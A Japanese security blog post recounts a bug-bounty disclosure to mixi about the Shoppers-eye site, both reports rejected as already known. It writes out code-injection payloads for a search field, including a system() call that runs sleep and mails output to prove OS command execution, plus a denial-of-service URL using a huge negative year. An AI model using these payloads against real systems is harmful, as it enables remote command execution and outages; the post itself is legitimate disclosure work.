WEB系情報セキュリティ学習メモ

本ブログは移転しました。各記事は3秒後に新しいブログへ自動的に移動します。移動しない場合は本文のリンクをクリックしてください。




AD
 

mixi脆弱性報告制度:評価対象外になったもの


Edit Category セキュリティ学習
本記事はこちらに移転しました。
http://securitymemo.blogspot.jp/2014/10/mixi_46.html

※2014.4.16 23:00 本記事の反響がやたら大きくなってしまったのでコメントを追加します。
もともと本エントリはmixiさんの不正な判定を告発するとかそういう意図は全くなく、「超面白かった脆弱性検査の記録」という以上の意味はありませんでした。(あとこんだけ検査したんだぜーという自己PRと)

私がこの脆弱性を報告したのは、報告制度の最終日(3/31)間際だったので、最後の駆け込みで大量の報告が上げられていて、mixiさんのマンパワーが単純に足りなかった状況だったのではないかと思います。
また、報告日時が日曜深夜だったので、週末に誰かが(私より先に)同様の脆弱性の報告を上げていたけど、月曜まではmixiさんに認識されていなかった、というようなことだったのかもしれません。(推定ですが)

いずれにせよ、mixiさんは私の他の脆弱性報告では高額な賞金をルール通りきっちり払ってくれてますので、この件だけ出し惜しみするとは思えないため、「既知」というのが具体的にどういう状況だったのか分からないながらも、正当な判断だったんだろうなと思っています。



報告内容:
ショッパーズアイのマイページ
https://www.shoppers-eye.jp/mypage/recruit
の「募集中の調査案件」の検索フォームで、「キーワード」欄のエスケープがされておらず、プログラムに任意のコードを差し込めるコードインジェクション脆弱性があり、system関数によりOSコマンドがコールできた。

shopperseye_vuln1.jpg

現象の詳細としては、このキーワード欄でシングルクォート入力時の挙動がおかしく、下記のような挙動が見られた。

'+ → システムエラー
'+' → OK (結果0件)
'+'a → OK かつ 検索画面のキーワードの内容が「a」になる
'+'1'+' → OK かつ 検索画面のキーワードの内容が「1」になる


また、下記のような挙動があることも分かった。

'+sleep(10)+' → 時間がかかった上でシステムエラー
'+sleep(100)+' → かなり時間がかかった上でタイムアウトエラー


当初これはSQLインジェクションだと思っていて、何らかのDBのsleep関数が呼ばれていると思い、色々なデータベースの関数を試して見たが、どうも他に呼べるデータベース系の関数がないので、もしや・・・と思い、下記を試したところ、20秒sleepをしているような挙動があった。

'+system("/bin/sleep 20")+'


これはSQLインジェクションではなくてコードインジェクションということが分かったが、sleepだと決め手に欠けるので、システムに害をもたらさないで、確実にOSコマンドが呼ばれていることを証明するには・・・と考えて下記入力を試したところ、「MailSubject」というタイトルの「1」という内容のメールが指定のメールアドレスに届いた。
そのため確実にsystem関数の実行が行われているということで報告した。

'+system("/bin/echo 1 | /bin/mail -s MailSubject <自分のメールアドレス>")+'


この脆弱性は、mixi脆弱性報告制度の一番高額な例(「リモートから、ウェブサーバー上で、任意のコードが実行可能」)に当てはまるので、かなり緊張しながら結果を待ったが「弊社において既知の脆弱性のため対象外」とのことだった。

list.jpg

2.ショッパーズアイ DOS攻撃を容易にする仕様


報告日:2014年3月31日
評価結果連絡:2014年4月8日 弊社において既知の脆弱性であると判断、よって脆弱性報告制度の対象外

報告内容:
ショッパーズアイの振り込み履歴のページにて

https://www.shoppers-eye.jp/mypage/history?pp=50&year=2014


というURLのyearパラメータをいじって過去の年にすると、ページ上のプルダウンでの選択できる年が増えるが、これに下限が設定されていないため、例えば

https://www.shoppers-eye.jp/mypage/history?pp=50&year=-9999


などのように指定すると、-9999年~2014年までのプルダウンが生成される仕様だった。

shopperseye_history1.jpg


ここで、巨大なマイナス値

https://www.shoppers-eye.jp/mypage/history?pp=50&year=-999999999999999999999999999999999999999999999999999


を指定したところ、長くレスポンスを待たされた後、「proxy error」の画面になったので、おそらくサーバ側処理で大量のプルダウンリストが生成されて落ちてしまったと思われたため、DOS攻撃を容易にする仕様として報告したが、やはり「既知の脆弱性と判断」よって「報告制度の対象外」だった。
-->

Newer Entrymixi脆弱性報告制度:感想および参加者として感じたこと

Older Entrymixi脆弱性報告制度で報告した脆弱性

Comments



 
12 2024
SUN MON TUE WED THU FRI SAT
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31 - - - -

11 01


 
プロフィール

name:g_sato
某社で働くWEB系エンジニア。本ブログでは脆弱性検査的なことばっかりやっていますが、セキュリティ業界の人ではなく、勤務中は普通の開発者をやっていて、プライベートで脆弱性の検査技法を探求しています。
(脆弱性を軸にWEB技術を学べてる部分もあり、脆弱性研究自体も面白いので一石二鳥な感じです。)
ブログは、情報セキュリティの学習途中の過程の記録なので、色々見苦しいかもしれません。

  *

大量の情報の中からものを見つけ出す等のINPUT系の作業は小学校の頃から得意なのですが、言うとか書くとかのOUTPUT系の作業が駄目なのでそっち側の訓練の必要性を感じています。

  *

最近、EC-CUBEの大きな脆弱性を複数見つけてEC-CUBEの安全性を高めました。
(いずれ脆弱性の詳細を公開します。脆弱性のあるバージョンをご利用の方は早めにアップデートorパッチ当てることを推奨します)

・これまで発見したEC-CUBEの脆弱性
JVNDB-2013-000043 EC-CUBE におけるアクセス制限不備の脆弱性
JVNDB-2013-000062 EC-CUBE におけるコードインジェクションの脆弱性
JVNDB-2013-000061 EC-CUBE におけるディレクトリトラバーサルの脆弱性
EC-CUBE お届け先複数指定画面でのXSS脆弱性
JVNDB-2013-000081 EC-CUBE における Windows 環境でのディレクトリトラバーサルの脆弱性
JVNDB-2013-000098 EC-CUBE における情報漏えいの脆弱性
JVNDB-2013-000097 EC-CUBE におけるクロスサイトリクエストフォージェリの脆弱性
JVNDB-2013-000105 EC-CUBE におけるクロスサイトスクリプティングの脆弱性
JVNDB-2013-000104 EC-CUBE における情報漏えいの脆弱性

・資格とか
情報セキュリティスペシャリスト保持。
2011/06~2011/12 某大手企業の脆弱性検査を担当。(その業務がものすごく面白かったのでその世界にのめりこんで現在に至る)

・趣味とか
弱将棋指し。
2005年からWWF500円会員。

※ミスご指摘等何かあればコメント欄か
38gtemp@gmail.com(全角→半角)までお願いします
twitter:https://twitter.com/secmemoblog